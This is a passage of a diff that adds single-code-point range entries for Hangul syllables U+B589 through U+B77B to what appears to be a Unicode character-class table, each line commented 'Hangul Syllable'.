+ ["\uB589", "\uB589"], /* Hangul Syllable */
+ ["\uB58A", "\uB58A"], /* Hangul Syllable */
+ ["\uB58B", "\uB58B"], /* Hangul Syllable */
+ ["\uB58C", "\uB58C"], /* Hangul Syllable */
+ ["\uB58D", "\uB58D"], /* Hangul Syllable */
+ ["\uB58E", "\uB58E"], /* Hangul Syllable */
+ ["\uB58F", "\uB58F"], /* Hangul Syllable */
+ ["\uB590", "\uB590"], /* Hangul Syllable */
+ ["\uB591", "\uB591"], /* Hangul Syllable */
+ ["\uB592", "\uB592"], /* Hangul Syllable */
+ ["\uB593", "\uB593"], /* Hangul Syllable */
+ ["\uB594", "\uB594"], /* Hangul Syllable */
+ ["\uB595", "\uB595"], /* Hangul Syllable */
+ ["\uB596", "\uB596"], /* Hangul Syllable */
+ ["\uB597", "\uB597"], /* Hangul Syllable */
+ ["\uB598", "\uB598"], /* Hangul Syllable */
+ ["\uB599", "\uB599"], /* Hangul Syllable */
+ ["\uB59A", "\uB59A"], /* Hangul Syllable */
+ ["\uB59B", "\uB59B"], /* Hangul Syllable */
+ ["\uB59C", "\uB59C"], /* Hangul Syllable */
+ ["\uB59D", "\uB59D"], /* Hangul Syllable */
+ ["\uB59E", "\uB59E"], /* Hangul Syllable */
+ ["\uB59F", "\uB59F"], /* Hangul Syllable */
+ ["\uB5A0", "\uB5A0"], /* Hangul Syllable */
+ ["\uB5A1", "\uB5A1"], /* Hangul Syllable */
+ ["\uB5A2", "\uB5A2"], /* Hangul Syllable */
+ ["\uB5A3", "\uB5A3"], /* Hangul Syllable */
+ ["\uB5A4", "\uB5A4"], /* Hangul Syllable */
+ ["\uB5A5", "\uB5A5"], /* Hangul Syllable */
+ ["\uB5A6", "\uB5A6"], /* Hangul Syllable */
+ ["\uB5A7", "\uB5A7"], /* Hangul Syllable */
+ ["\uB5A8", "\uB5A8"], /* Hangul Syllable */
+ ["\uB5A9", "\uB5A9"], /* Hangul Syllable */
+ ["\uB5AA", "\uB5AA"], /* Hangul Syllable */
+ ["\uB5AB", "\uB5AB"], /* Hangul Syllable */
+ ["\uB5AC", "\uB5AC"], /* Hangul Syllable */
+ ["\uB5AD", "\uB5AD"], /* Hangul Syllable */
+ ["\uB5AE", "\uB5AE"], /* Hangul Syllable */
+ ["\uB5AF", "\uB5AF"], /* Hangul Syllable */
+ ["\uB5B0", "\uB5B0"], /* Hangul Syllable */
+ ["\uB5B1", "\uB5B1"], /* Hangul Syllable */
+ ["\uB5B2", "\uB5B2"], /* Hangul Syllable */
+ ["\uB5B3", "\uB5B3"], /* Hangul Syllable */
+ ["\uB5B4", "\uB5B4"], /* Hangul Syllable */
+ ["\uB5B5", "\uB5B5"], /* Hangul Syllable */
+ ["\uB5B6", "\uB5B6"], /* Hangul Syllable */
+ ["\uB5B7", "\uB5B7"], /* Hangul Syllable */
+ ["\uB5B8", "\uB5B8"], /* Hangul Syllable */
+ ["\uB5B9", "\uB5B9"], /* Hangul Syllable */
+ ["\uB5BA", "\uB5BA"], /* Hangul Syllable */
+ ["\uB5BB", "\uB5BB"], /* Hangul Syllable */
+ ["\uB5BC", "\uB5BC"], /* Hangul Syllable */
+ ["\uB5BD", "\uB5BD"], /* Hangul Syllable */
+ ["\uB5BE", "\uB5BE"], /* Hangul Syllable */
+ ["\uB5BF", "\uB5BF"], /* Hangul Syllable */
+ ["\uB5C0", "\uB5C0"], /* Hangul Syllable */
+ ["\uB5C1", "\uB5C1"], /* Hangul Syllable */
+ ["\uB5C2", "\uB5C2"], /* Hangul Syllable */
+ ["\uB5C3", "\uB5C3"], /* Hangul Syllable */
+ ["\uB5C4", "\uB5C4"], /* Hangul Syllable */
+ ["\uB5C5", "\uB5C5"], /* Hangul Syllable */
+ ["\uB5C6", "\uB5C6"], /* Hangul Syllable */
+ ["\uB5C7", "\uB5C7"], /* Hangul Syllable */
+ ["\uB5C8", "\uB5C8"], /* Hangul Syllable */
+ ["\uB5C9", "\uB5C9"], /* Hangul Syllable */
+ ["\uB5CA", "\uB5CA"], /* Hangul Syllable */
+ ["\uB5CB", "\uB5CB"], /* Hangul Syllable */
+ ["\uB5CC", "\uB5CC"], /* Hangul Syllable */
+ ["\uB5CD", "\uB5CD"], /* Hangul Syllable */
+ ["\uB5CE", "\uB5CE"], /* Hangul Syllable */
+ ["\uB5CF", "\uB5CF"], /* Hangul Syllable */
+ ["\uB5D0", "\uB5D0"], /* Hangul Syllable */
+ ["\uB5D1", "\uB5D1"], /* Hangul Syllable */
+ ["\uB5D2", "\uB5D2"], /* Hangul Syllable */
+ ["\uB5D3", "\uB5D3"], /* Hangul Syllable */
+ ["\uB5D4", "\uB5D4"], /* Hangul Syllable */
+ ["\uB5D5", "\uB5D5"], /* Hangul Syllable */
+ ["\uB5D6", "\uB5D6"], /* Hangul Syllable */
+ ["\uB5D7", "\uB5D7"], /* Hangul Syllable */
+ ["\uB5D8", "\uB5D8"], /* Hangul Syllable */
+ ["\uB5D9", "\uB5D9"], /* Hangul Syllable */
+ ["\uB5DA", "\uB5DA"], /* Hangul Syllable */
+ ["\uB5DB", "\uB5DB"], /* Hangul Syllable */
+ ["\uB5DC", "\uB5DC"], /* Hangul Syllable */
+ ["\uB5DD", "\uB5DD"], /* Hangul Syllable */
+ ["\uB5DE", "\uB5DE"], /* Hangul Syllable */
+ ["\uB5DF", "\uB5DF"], /* Hangul Syllable */
+ ["\uB5E0", "\uB5E0"], /* Hangul Syllable */
+ ["\uB5E1", "\uB5E1"], /* Hangul Syllable */
+ ["\uB5E2", "\uB5E2"], /* Hangul Syllable */
+ ["\uB5E3", "\uB5E3"], /* Hangul Syllable */
+ ["\uB5E4", "\uB5E4"], /* Hangul Syllable */
+ ["\uB5E5", "\uB5E5"], /* Hangul Syllable */
+ ["\uB5E6", "\uB5E6"], /* Hangul Syllable */
+ ["\uB5E7", "\uB5E7"], /* Hangul Syllable */
+ ["\uB5E8", "\uB5E8"], /* Hangul Syllable */
+ ["\uB5E9", "\uB5E9"], /* Hangul Syllable */
+ ["\uB5EA", "\uB5EA"], /* Hangul Syllable */
+ ["\uB5EB", "\uB5EB"], /* Hangul Syllable */
+ ["\uB5EC", "\uB5EC"], /* Hangul Syllable */
+ ["\uB5ED", "\uB5ED"], /* Hangul Syllable */
+ ["\uB5EE", "\uB5EE"], /* Hangul Syllable */
+ ["\uB5EF", "\uB5EF"], /* Hangul Syllable */
+ ["\uB5F0", "\uB5F0"], /* Hangul Syllable */
+ ["\uB5F1", "\uB5F1"], /* Hangul Syllable */
+ ["\uB5F2", "\uB5F2"], /* Hangul Syllable */
+ ["\uB5F3", "\uB5F3"], /* Hangul Syllable */
+ ["\uB5F4", "\uB5F4"], /* Hangul Syllable */
+ ["\uB5F5", "\uB5F5"], /* Hangul Syllable */
+ ["\uB5F6", "\uB5F6"], /* Hangul Syllable */
+ ["\uB5F7", "\uB5F7"], /* Hangul Syllable */
+ ["\uB5F8", "\uB5F8"], /* Hangul Syllable */
+ ["\uB5F9", "\uB5F9"], /* Hangul Syllable */
+ ["\uB5FA", "\uB5FA"], /* Hangul Syllable */
+ ["\uB5FB", "\uB5FB"], /* Hangul Syllable */
+ ["\uB5FC", "\uB5FC"], /* Hangul Syllable */
+ ["\uB5FD", "\uB5FD"], /* Hangul Syllable */
+ ["\uB5FE", "\uB5FE"], /* Hangul Syllable */
+ ["\uB5FF", "\uB5FF"], /* Hangul Syllable */
+ ["\uB600", "\uB600"], /* Hangul Syllable */
+ ["\uB601", "\uB601"], /* Hangul Syllable */
+ ["\uB602", "\uB602"], /* Hangul Syllable */
+ ["\uB603", "\uB603"], /* Hangul Syllable */
+ ["\uB604", "\uB604"], /* Hangul Syllable */
+ ["\uB605", "\uB605"], /* Hangul Syllable */
+ ["\uB606", "\uB606"], /* Hangul Syllable */
+ ["\uB607", "\uB607"], /* Hangul Syllable */
+ ["\uB608", "\uB608"], /* Hangul Syllable */
+ ["\uB609", "\uB609"], /* Hangul Syllable */
+ ["\uB60A", "\uB60A"], /* Hangul Syllable */
+ ["\uB60B", "\uB60B"], /* Hangul Syllable */
+ ["\uB60C", "\uB60C"], /* Hangul Syllable */
+ ["\uB60D", "\uB60D"], /* Hangul Syllable */
+ ["\uB60E", "\uB60E"], /* Hangul Syllable */
+ ["\uB60F", "\uB60F"], /* Hangul Syllable */
+ ["\uB610", "\uB610"], /* Hangul Syllable */
+ ["\uB611", "\uB611"], /* Hangul Syllable */
+ ["\uB612", "\uB612"], /* Hangul Syllable */
+ ["\uB613", "\uB613"], /* Hangul Syllable */
+ ["\uB614", "\uB614"], /* Hangul Syllable */
+ ["\uB615", "\uB615"], /* Hangul Syllable */
+ ["\uB616", "\uB616"], /* Hangul Syllable */
+ ["\uB617", "\uB617"], /* Hangul Syllable */
+ ["\uB618", "\uB618"], /* Hangul Syllable */
+ ["\uB619", "\uB619"], /* Hangul Syllable */
+ ["\uB61A", "\uB61A"], /* Hangul Syllable */
+ ["\uB61B", "\uB61B"], /* Hangul Syllable */
+ ["\uB61C", "\uB61C"], /* Hangul Syllable */
+ ["\uB61D", "\uB61D"], /* Hangul Syllable */
+ ["\uB61E", "\uB61E"], /* Hangul Syllable */
+ ["\uB61F", "\uB61F"], /* Hangul Syllable */
+ ["\uB620", "\uB620"], /* Hangul Syllable */
+ ["\uB621", "\uB621"], /* Hangul Syllable */
+ ["\uB622", "\uB622"], /* Hangul Syllable */
+ ["\uB623", "\uB623"], /* Hangul Syllable */
+ ["\uB624", "\uB624"], /* Hangul Syllable */
+ ["\uB625", "\uB625"], /* Hangul Syllable */
+ ["\uB626", "\uB626"], /* Hangul Syllable */
+ ["\uB627", "\uB627"], /* Hangul Syllable */
+ ["\uB628", "\uB628"], /* Hangul Syllable */
+ ["\uB629", "\uB629"], /* Hangul Syllable */
+ ["\uB62A", "\uB62A"], /* Hangul Syllable */
+ ["\uB62B", "\uB62B"], /* Hangul Syllable */
+ ["\uB62C", "\uB62C"], /* Hangul Syllable */
+ ["\uB62D", "\uB62D"], /* Hangul Syllable */
+ ["\uB62E", "\uB62E"], /* Hangul Syllable */
+ ["\uB62F", "\uB62F"], /* Hangul Syllable */
+ ["\uB630", "\uB630"], /* Hangul Syllable */
+ ["\uB631", "\uB631"], /* Hangul Syllable */
+ ["\uB632", "\uB632"], /* Hangul Syllable */
+ ["\uB633", "\uB633"], /* Hangul Syllable */
+ ["\uB634", "\uB634"], /* Hangul Syllable */
+ ["\uB635", "\uB635"], /* Hangul Syllable */
+ ["\uB636", "\uB636"], /* Hangul Syllable */
+ ["\uB637", "\uB637"], /* Hangul Syllable */
+ ["\uB638", "\uB638"], /* Hangul Syllable */
+ ["\uB639", "\uB639"], /* Hangul Syllable */
+ ["\uB63A", "\uB63A"], /* Hangul Syllable */
+ ["\uB63B", "\uB63B"], /* Hangul Syllable */
+ ["\uB63C", "\uB63C"], /* Hangul Syllable */
+ ["\uB63D", "\uB63D"], /* Hangul Syllable */
+ ["\uB63E", "\uB63E"], /* Hangul Syllable */
+ ["\uB63F", "\uB63F"], /* Hangul Syllable */
+ ["\uB640", "\uB640"], /* Hangul Syllable */
+ ["\uB641", "\uB641"], /* Hangul Syllable */
+ ["\uB642", "\uB642"], /* Hangul Syllable */
+ ["\uB643", "\uB643"], /* Hangul Syllable */
+ ["\uB644", "\uB644"], /* Hangul Syllable */
+ ["\uB645", "\uB645"], /* Hangul Syllable */
+ ["\uB646", "\uB646"], /* Hangul Syllable */
+ ["\uB647", "\uB647"], /* Hangul Syllable */
+ ["\uB648", "\uB648"], /* Hangul Syllable */
+ ["\uB649", "\uB649"], /* Hangul Syllable */
+ ["\uB64A", "\uB64A"], /* Hangul Syllable */
+ ["\uB64B", "\uB64B"], /* Hangul Syllable */
+ ["\uB64C", "\uB64C"], /* Hangul Syllable */
+ ["\uB64D", "\uB64D"], /* Hangul Syllable */
+ ["\uB64E", "\uB64E"], /* Hangul Syllable */
+ ["\uB64F", "\uB64F"], /* Hangul Syllable */
+ ["\uB650", "\uB650"], /* Hangul Syllable */
+ ["\uB651", "\uB651"], /* Hangul Syllable */
+ ["\uB652", "\uB652"], /* Hangul Syllable */
+ ["\uB653", "\uB653"], /* Hangul Syllable */
+ ["\uB654", "\uB654"], /* Hangul Syllable */
+ ["\uB655", "\uB655"], /* Hangul Syllable */
+ ["\uB656", "\uB656"], /* Hangul Syllable */
+ ["\uB657", "\uB657"], /* Hangul Syllable */
+ ["\uB658", "\uB658"], /* Hangul Syllable */
+ ["\uB659", "\uB659"], /* Hangul Syllable */
+ ["\uB65A", "\uB65A"], /* Hangul Syllable */
+ ["\uB65B", "\uB65B"], /* Hangul Syllable */
+ ["\uB65C", "\uB65C"], /* Hangul Syllable */
+ ["\uB65D", "\uB65D"], /* Hangul Syllable */
+ ["\uB65E", "\uB65E"], /* Hangul Syllable */
+ ["\uB65F", "\uB65F"], /* Hangul Syllable */
+ ["\uB660", "\uB660"], /* Hangul Syllable */
+ ["\uB661", "\uB661"], /* Hangul Syllable */
+ ["\uB662", "\uB662"], /* Hangul Syllable */
+ ["\uB663", "\uB663"], /* Hangul Syllable */
+ ["\uB664", "\uB664"], /* Hangul Syllable */
+ ["\uB665", "\uB665"], /* Hangul Syllable */
+ ["\uB666", "\uB666"], /* Hangul Syllable */
+ ["\uB667", "\uB667"], /* Hangul Syllable */
+ ["\uB668", "\uB668"], /* Hangul Syllable */
+ ["\uB669", "\uB669"], /* Hangul Syllable */
+ ["\uB66A", "\uB66A"], /* Hangul Syllable */
+ ["\uB66B", "\uB66B"], /* Hangul Syllable */
+ ["\uB66C", "\uB66C"], /* Hangul Syllable */
+ ["\uB66D", "\uB66D"], /* Hangul Syllable */
+ ["\uB66E", "\uB66E"], /* Hangul Syllable */
+ ["\uB66F", "\uB66F"], /* Hangul Syllable */
+ ["\uB670", "\uB670"], /* Hangul Syllable */
+ ["\uB671", "\uB671"], /* Hangul Syllable */
+ ["\uB672", "\uB672"], /* Hangul Syllable */
+ ["\uB673", "\uB673"], /* Hangul Syllable */
+ ["\uB674", "\uB674"], /* Hangul Syllable */
+ ["\uB675", "\uB675"], /* Hangul Syllable */
+ ["\uB676", "\uB676"], /* Hangul Syllable */
+ ["\uB677", "\uB677"], /* Hangul Syllable */
+ ["\uB678", "\uB678"], /* Hangul Syllable */
+ ["\uB679", "\uB679"], /* Hangul Syllable */
+ ["\uB67A", "\uB67A"], /* Hangul Syllable */
+ ["\uB67B", "\uB67B"], /* Hangul Syllable */
+ ["\uB67C", "\uB67C"], /* Hangul Syllable */
+ ["\uB67D", "\uB67D"], /* Hangul Syllable */
+ ["\uB67E", "\uB67E"], /* Hangul Syllable */
+ ["\uB67F", "\uB67F"], /* Hangul Syllable */
+ ["\uB680", "\uB680"], /* Hangul Syllable */
+ ["\uB681", "\uB681"], /* Hangul Syllable */
+ ["\uB682", "\uB682"], /* Hangul Syllable */
+ ["\uB683", "\uB683"], /* Hangul Syllable */
+ ["\uB684", "\uB684"], /* Hangul Syllable */
+ ["\uB685", "\uB685"], /* Hangul Syllable */
+ ["\uB686", "\uB686"], /* Hangul Syllable */
+ ["\uB687", "\uB687"], /* Hangul Syllable */
+ ["\uB688", "\uB688"], /* Hangul Syllable */
+ ["\uB689", "\uB689"], /* Hangul Syllable */
+ ["\uB68A", "\uB68A"], /* Hangul Syllable */
+ ["\uB68B", "\uB68B"], /* Hangul Syllable */
+ ["\uB68C", "\uB68C"], /* Hangul Syllable */
+ ["\uB68D", "\uB68D"], /* Hangul Syllable */
+ ["\uB68E", "\uB68E"], /* Hangul Syllable */
+ ["\uB68F", "\uB68F"], /* Hangul Syllable */
+ ["\uB690", "\uB690"], /* Hangul Syllable */
+ ["\uB691", "\uB691"], /* Hangul Syllable */
+ ["\uB692", "\uB692"], /* Hangul Syllable */
+ ["\uB693", "\uB693"], /* Hangul Syllable */
+ ["\uB694", "\uB694"], /* Hangul Syllable */
+ ["\uB695", "\uB695"], /* Hangul Syllable */
+ ["\uB696", "\uB696"], /* Hangul Syllable */
+ ["\uB697", "\uB697"], /* Hangul Syllable */
+ ["\uB698", "\uB698"], /* Hangul Syllable */
+ ["\uB699", "\uB699"], /* Hangul Syllable */
+ ["\uB69A", "\uB69A"], /* Hangul Syllable */
+ ["\uB69B", "\uB69B"], /* Hangul Syllable */
+ ["\uB69C", "\uB69C"], /* Hangul Syllable */
+ ["\uB69D", "\uB69D"], /* Hangul Syllable */
+ ["\uB69E", "\uB69E"], /* Hangul Syllable */
+ ["\uB69F", "\uB69F"], /* Hangul Syllable */
+ ["\uB6A0", "\uB6A0"], /* Hangul Syllable */
+ ["\uB6A1", "\uB6A1"], /* Hangul Syllable */
+ ["\uB6A2", "\uB6A2"], /* Hangul Syllable */
+ ["\uB6A3", "\uB6A3"], /* Hangul Syllable */
+ ["\uB6A4", "\uB6A4"], /* Hangul Syllable */
+ ["\uB6A5", "\uB6A5"], /* Hangul Syllable */
+ ["\uB6A6", "\uB6A6"], /* Hangul Syllable */
+ ["\uB6A7", "\uB6A7"], /* Hangul Syllable */
+ ["\uB6A8", "\uB6A8"], /* Hangul Syllable */
+ ["\uB6A9", "\uB6A9"], /* Hangul Syllable */
+ ["\uB6AA", "\uB6AA"], /* Hangul Syllable */
+ ["\uB6AB", "\uB6AB"], /* Hangul Syllable */
+ ["\uB6AC", "\uB6AC"], /* Hangul Syllable */
+ ["\uB6AD", "\uB6AD"], /* Hangul Syllable */
+ ["\uB6AE", "\uB6AE"], /* Hangul Syllable */
+ ["\uB6AF", "\uB6AF"], /* Hangul Syllable */
+ ["\uB6B0", "\uB6B0"], /* Hangul Syllable */
+ ["\uB6B1", "\uB6B1"], /* Hangul Syllable */
+ ["\uB6B2", "\uB6B2"], /* Hangul Syllable */
+ ["\uB6B3", "\uB6B3"], /* Hangul Syllable */
+ ["\uB6B4", "\uB6B4"], /* Hangul Syllable */
+ ["\uB6B5", "\uB6B5"], /* Hangul Syllable */
+ ["\uB6B6", "\uB6B6"], /* Hangul Syllable */
+ ["\uB6B7", "\uB6B7"], /* Hangul Syllable */
+ ["\uB6B8", "\uB6B8"], /* Hangul Syllable */
+ ["\uB6B9", "\uB6B9"], /* Hangul Syllable */
+ ["\uB6BA", "\uB6BA"], /* Hangul Syllable */
+ ["\uB6BB", "\uB6BB"], /* Hangul Syllable */
+ ["\uB6BC", "\uB6BC"], /* Hangul Syllable */
+ ["\uB6BD", "\uB6BD"], /* Hangul Syllable */
+ ["\uB6BE", "\uB6BE"], /* Hangul Syllable */
+ ["\uB6BF", "\uB6BF"], /* Hangul Syllable */
+ ["\uB6C0", "\uB6C0"], /* Hangul Syllable */
+ ["\uB6C1", "\uB6C1"], /* Hangul Syllable */
+ ["\uB6C2", "\uB6C2"], /* Hangul Syllable */
+ ["\uB6C3", "\uB6C3"], /* Hangul Syllable */
+ ["\uB6C4", "\uB6C4"], /* Hangul Syllable */
+ ["\uB6C5", "\uB6C5"], /* Hangul Syllable */
+ ["\uB6C6", "\uB6C6"], /* Hangul Syllable */
+ ["\uB6C7", "\uB6C7"], /* Hangul Syllable */
+ ["\uB6C8", "\uB6C8"], /* Hangul Syllable */
+ ["\uB6C9", "\uB6C9"], /* Hangul Syllable */
+ ["\uB6CA", "\uB6CA"], /* Hangul Syllable */
+ ["\uB6CB", "\uB6CB"], /* Hangul Syllable */
+ ["\uB6CC", "\uB6CC"], /* Hangul Syllable */
+ ["\uB6CD", "\uB6CD"], /* Hangul Syllable */
+ ["\uB6CE", "\uB6CE"], /* Hangul Syllable */
+ ["\uB6CF", "\uB6CF"], /* Hangul Syllable */
+ ["\uB6D0", "\uB6D0"], /* Hangul Syllable */
+ ["\uB6D1", "\uB6D1"], /* Hangul Syllable */
+ ["\uB6D2", "\uB6D2"], /* Hangul Syllable */
+ ["\uB6D3", "\uB6D3"], /* Hangul Syllable */
+ ["\uB6D4", "\uB6D4"], /* Hangul Syllable */
+ ["\uB6D5", "\uB6D5"], /* Hangul Syllable */
+ ["\uB6D6", "\uB6D6"], /* Hangul Syllable */
+ ["\uB6D7", "\uB6D7"], /* Hangul Syllable */
+ ["\uB6D8", "\uB6D8"], /* Hangul Syllable */
+ ["\uB6D9", "\uB6D9"], /* Hangul Syllable */
+ ["\uB6DA", "\uB6DA"], /* Hangul Syllable */
+ ["\uB6DB", "\uB6DB"], /* Hangul Syllable */
+ ["\uB6DC", "\uB6DC"], /* Hangul Syllable */
+ ["\uB6DD", "\uB6DD"], /* Hangul Syllable */
+ ["\uB6DE", "\uB6DE"], /* Hangul Syllable */
+ ["\uB6DF", "\uB6DF"], /* Hangul Syllable */
+ ["\uB6E0", "\uB6E0"], /* Hangul Syllable */
+ ["\uB6E1", "\uB6E1"], /* Hangul Syllable */
+ ["\uB6E2", "\uB6E2"], /* Hangul Syllable */
+ ["\uB6E3", "\uB6E3"], /* Hangul Syllable */
+ ["\uB6E4", "\uB6E4"], /* Hangul Syllable */
+ ["\uB6E5", "\uB6E5"], /* Hangul Syllable */
+ ["\uB6E6", "\uB6E6"], /* Hangul Syllable */
+ ["\uB6E7", "\uB6E7"], /* Hangul Syllable */
+ ["\uB6E8", "\uB6E8"], /* Hangul Syllable */
+ ["\uB6E9", "\uB6E9"], /* Hangul Syllable */
+ ["\uB6EA", "\uB6EA"], /* Hangul Syllable */
+ ["\uB6EB", "\uB6EB"], /* Hangul Syllable */
+ ["\uB6EC", "\uB6EC"], /* Hangul Syllable */
+ ["\uB6ED", "\uB6ED"], /* Hangul Syllable */
+ ["\uB6EE", "\uB6EE"], /* Hangul Syllable */
+ ["\uB6EF", "\uB6EF"], /* Hangul Syllable */
+ ["\uB6F0", "\uB6F0"], /* Hangul Syllable */
+ ["\uB6F1", "\uB6F1"], /* Hangul Syllable */
+ ["\uB6F2", "\uB6F2"], /* Hangul Syllable */
+ ["\uB6F3", "\uB6F3"], /* Hangul Syllable */
+ ["\uB6F4", "\uB6F4"], /* Hangul Syllable */
+ ["\uB6F5", "\uB6F5"], /* Hangul Syllable */
+ ["\uB6F6", "\uB6F6"], /* Hangul Syllable */
+ ["\uB6F7", "\uB6F7"], /* Hangul Syllable */
+ ["\uB6F8", "\uB6F8"], /* Hangul Syllable */
+ ["\uB6F9", "\uB6F9"], /* Hangul Syllable */
+ ["\uB6FA", "\uB6FA"], /* Hangul Syllable */
+ ["\uB6FB", "\uB6FB"], /* Hangul Syllable */
+ ["\uB6FC", "\uB6FC"], /* Hangul Syllable */
+ ["\uB6FD", "\uB6FD"], /* Hangul Syllable */
+ ["\uB6FE", "\uB6FE"], /* Hangul Syllable */
+ ["\uB6FF", "\uB6FF"], /* Hangul Syllable */
+ ["\uB700", "\uB700"], /* Hangul Syllable */
+ ["\uB701", "\uB701"], /* Hangul Syllable */
+ ["\uB702", "\uB702"], /* Hangul Syllable */
+ ["\uB703", "\uB703"], /* Hangul Syllable */
+ ["\uB704", "\uB704"], /* Hangul Syllable */
+ ["\uB705", "\uB705"], /* Hangul Syllable */
+ ["\uB706", "\uB706"], /* Hangul Syllable */
+ ["\uB707", "\uB707"], /* Hangul Syllable */
+ ["\uB708", "\uB708"], /* Hangul Syllable */
+ ["\uB709", "\uB709"], /* Hangul Syllable */
+ ["\uB70A", "\uB70A"], /* Hangul Syllable */
+ ["\uB70B", "\uB70B"], /* Hangul Syllable */
+ ["\uB70C", "\uB70C"], /* Hangul Syllable */
+ ["\uB70D", "\uB70D"], /* Hangul Syllable */
+ ["\uB70E", "\uB70E"], /* Hangul Syllable */
+ ["\uB70F", "\uB70F"], /* Hangul Syllable */
+ ["\uB710", "\uB710"], /* Hangul Syllable */
+ ["\uB711", "\uB711"], /* Hangul Syllable */
+ ["\uB712", "\uB712"], /* Hangul Syllable */
+ ["\uB713", "\uB713"], /* Hangul Syllable */
+ ["\uB714", "\uB714"], /* Hangul Syllable */
+ ["\uB715", "\uB715"], /* Hangul Syllable */
+ ["\uB716", "\uB716"], /* Hangul Syllable */
+ ["\uB717", "\uB717"], /* Hangul Syllable */
+ ["\uB718", "\uB718"], /* Hangul Syllable */
+ ["\uB719", "\uB719"], /* Hangul Syllable */
+ ["\uB71A", "\uB71A"], /* Hangul Syllable */
+ ["\uB71B", "\uB71B"], /* Hangul Syllable */
+ ["\uB71C", "\uB71C"], /* Hangul Syllable */
+ ["\uB71D", "\uB71D"], /* Hangul Syllable */
+ ["\uB71E", "\uB71E"], /* Hangul Syllable */
+ ["\uB71F", "\uB71F"], /* Hangul Syllable */
+ ["\uB720", "\uB720"], /* Hangul Syllable */
+ ["\uB721", "\uB721"], /* Hangul Syllable */
+ ["\uB722", "\uB722"], /* Hangul Syllable */
+ ["\uB723", "\uB723"], /* Hangul Syllable */
+ ["\uB724", "\uB724"], /* Hangul Syllable */
+ ["\uB725", "\uB725"], /* Hangul Syllable */
+ ["\uB726", "\uB726"], /* Hangul Syllable */
+ ["\uB727", "\uB727"], /* Hangul Syllable */
+ ["\uB728", "\uB728"], /* Hangul Syllable */
+ ["\uB729", "\uB729"], /* Hangul Syllable */
+ ["\uB72A", "\uB72A"], /* Hangul Syllable */
+ ["\uB72B", "\uB72B"], /* Hangul Syllable */
+ ["\uB72C", "\uB72C"], /* Hangul Syllable */
+ ["\uB72D", "\uB72D"], /* Hangul Syllable */
+ ["\uB72E", "\uB72E"], /* Hangul Syllable */
+ ["\uB72F", "\uB72F"], /* Hangul Syllable */
+ ["\uB730", "\uB730"], /* Hangul Syllable */
+ ["\uB731", "\uB731"], /* Hangul Syllable */
+ ["\uB732", "\uB732"], /* Hangul Syllable */
+ ["\uB733", "\uB733"], /* Hangul Syllable */
+ ["\uB734", "\uB734"], /* Hangul Syllable */
+ ["\uB735", "\uB735"], /* Hangul Syllable */
+ ["\uB736", "\uB736"], /* Hangul Syllable */
+ ["\uB737", "\uB737"], /* Hangul Syllable */
+ ["\uB738", "\uB738"], /* Hangul Syllable */
+ ["\uB739", "\uB739"], /* Hangul Syllable */
+ ["\uB73A", "\uB73A"], /* Hangul Syllable */
+ ["\uB73B", "\uB73B"], /* Hangul Syllable */
+ ["\uB73C", "\uB73C"], /* Hangul Syllable */
+ ["\uB73D", "\uB73D"], /* Hangul Syllable */
+ ["\uB73E", "\uB73E"], /* Hangul Syllable */
+ ["\uB73F", "\uB73F"], /* Hangul Syllable */
+ ["\uB740", "\uB740"], /* Hangul Syllable */
+ ["\uB741", "\uB741"], /* Hangul Syllable */
+ ["\uB742", "\uB742"], /* Hangul Syllable */
+ ["\uB743", "\uB743"], /* Hangul Syllable */
+ ["\uB744", "\uB744"], /* Hangul Syllable */
+ ["\uB745", "\uB745"], /* Hangul Syllable */
+ ["\uB746", "\uB746"], /* Hangul Syllable */
+ ["\uB747", "\uB747"], /* Hangul Syllable */
+ ["\uB748", "\uB748"], /* Hangul Syllable */
+ ["\uB749", "\uB749"], /* Hangul Syllable */
+ ["\uB74A", "\uB74A"], /* Hangul Syllable */
+ ["\uB74B", "\uB74B"], /* Hangul Syllable */
+ ["\uB74C", "\uB74C"], /* Hangul Syllable */
+ ["\uB74D", "\uB74D"], /* Hangul Syllable */
+ ["\uB74E", "\uB74E"], /* Hangul Syllable */
+ ["\uB74F", "\uB74F"], /* Hangul Syllable */
+ ["\uB750", "\uB750"], /* Hangul Syllable */
+ ["\uB751", "\uB751"], /* Hangul Syllable */
+ ["\uB752", "\uB752"], /* Hangul Syllable */
+ ["\uB753", "\uB753"], /* Hangul Syllable */
+ ["\uB754", "\uB754"], /* Hangul Syllable */
+ ["\uB755", "\uB755"], /* Hangul Syllable */
+ ["\uB756", "\uB756"], /* Hangul Syllable */
+ ["\uB757", "\uB757"], /* Hangul Syllable */
+ ["\uB758", "\uB758"], /* Hangul Syllable */
+ ["\uB759", "\uB759"], /* Hangul Syllable */
+ ["\uB75A", "\uB75A"], /* Hangul Syllable */
+ ["\uB75B", "\uB75B"], /* Hangul Syllable */
+ ["\uB75C", "\uB75C"], /* Hangul Syllable */
+ ["\uB75D", "\uB75D"], /* Hangul Syllable */
+ ["\uB75E", "\uB75E"], /* Hangul Syllable */
+ ["\uB75F", "\uB75F"], /* Hangul Syllable */
+ ["\uB760", "\uB760"], /* Hangul Syllable */
+ ["\uB761", "\uB761"], /* Hangul Syllable */
+ ["\uB762", "\uB762"], /* Hangul Syllable */
+ ["\uB763", "\uB763"], /* Hangul Syllable */
+ ["\uB764", "\uB764"], /* Hangul Syllable */
+ ["\uB765", "\uB765"], /* Hangul Syllable */
+ ["\uB766", "\uB766"], /* Hangul Syllable */
+ ["\uB767", "\uB767"], /* Hangul Syllable */
+ ["\uB768", "\uB768"], /* Hangul Syllable */
+ ["\uB769", "\uB769"], /* Hangul Syllable */
+ ["\uB76A", "\uB76A"], /* Hangul Syllable */
+ ["\uB76B", "\uB76B"], /* Hangul Syllable */
+ ["\uB76C", "\uB76C"], /* Hangul Syllable */
+ ["\uB76D", "\uB76D"], /* Hangul Syllable */
+ ["\uB76E", "\uB76E"], /* Hangul Syllable */
+ ["\uB76F", "\uB76F"], /* Hangul Syllable */
+ ["\uB770", "\uB770"], /* Hangul Syllable */
+ ["\uB771", "\uB771"], /* Hangul Syllable */
+ ["\uB772", "\uB772"], /* Hangul Syllable */
+ ["\uB773", "\uB773"], /* Hangul Syllable */
+ ["\uB774", "\uB774"], /* Hangul Syllable */
+ ["\uB775", "\uB775"], /* Hangul Syllable */
+ ["\uB776", "\uB776"], /* Hangul Syllable */
+ ["\uB777", "\uB777"], /* Hangul Syllable */
+ ["\uB778", "\uB778"], /* Hangul Syllable */
+ ["\uB779", "\uB779"], /* Hangul Syllable */
+ ["\uB77A", "\uB77A"], /* Hangul Syllable */
+ ["\uB77B", "\uB77B"], /* Hangul Syllable */
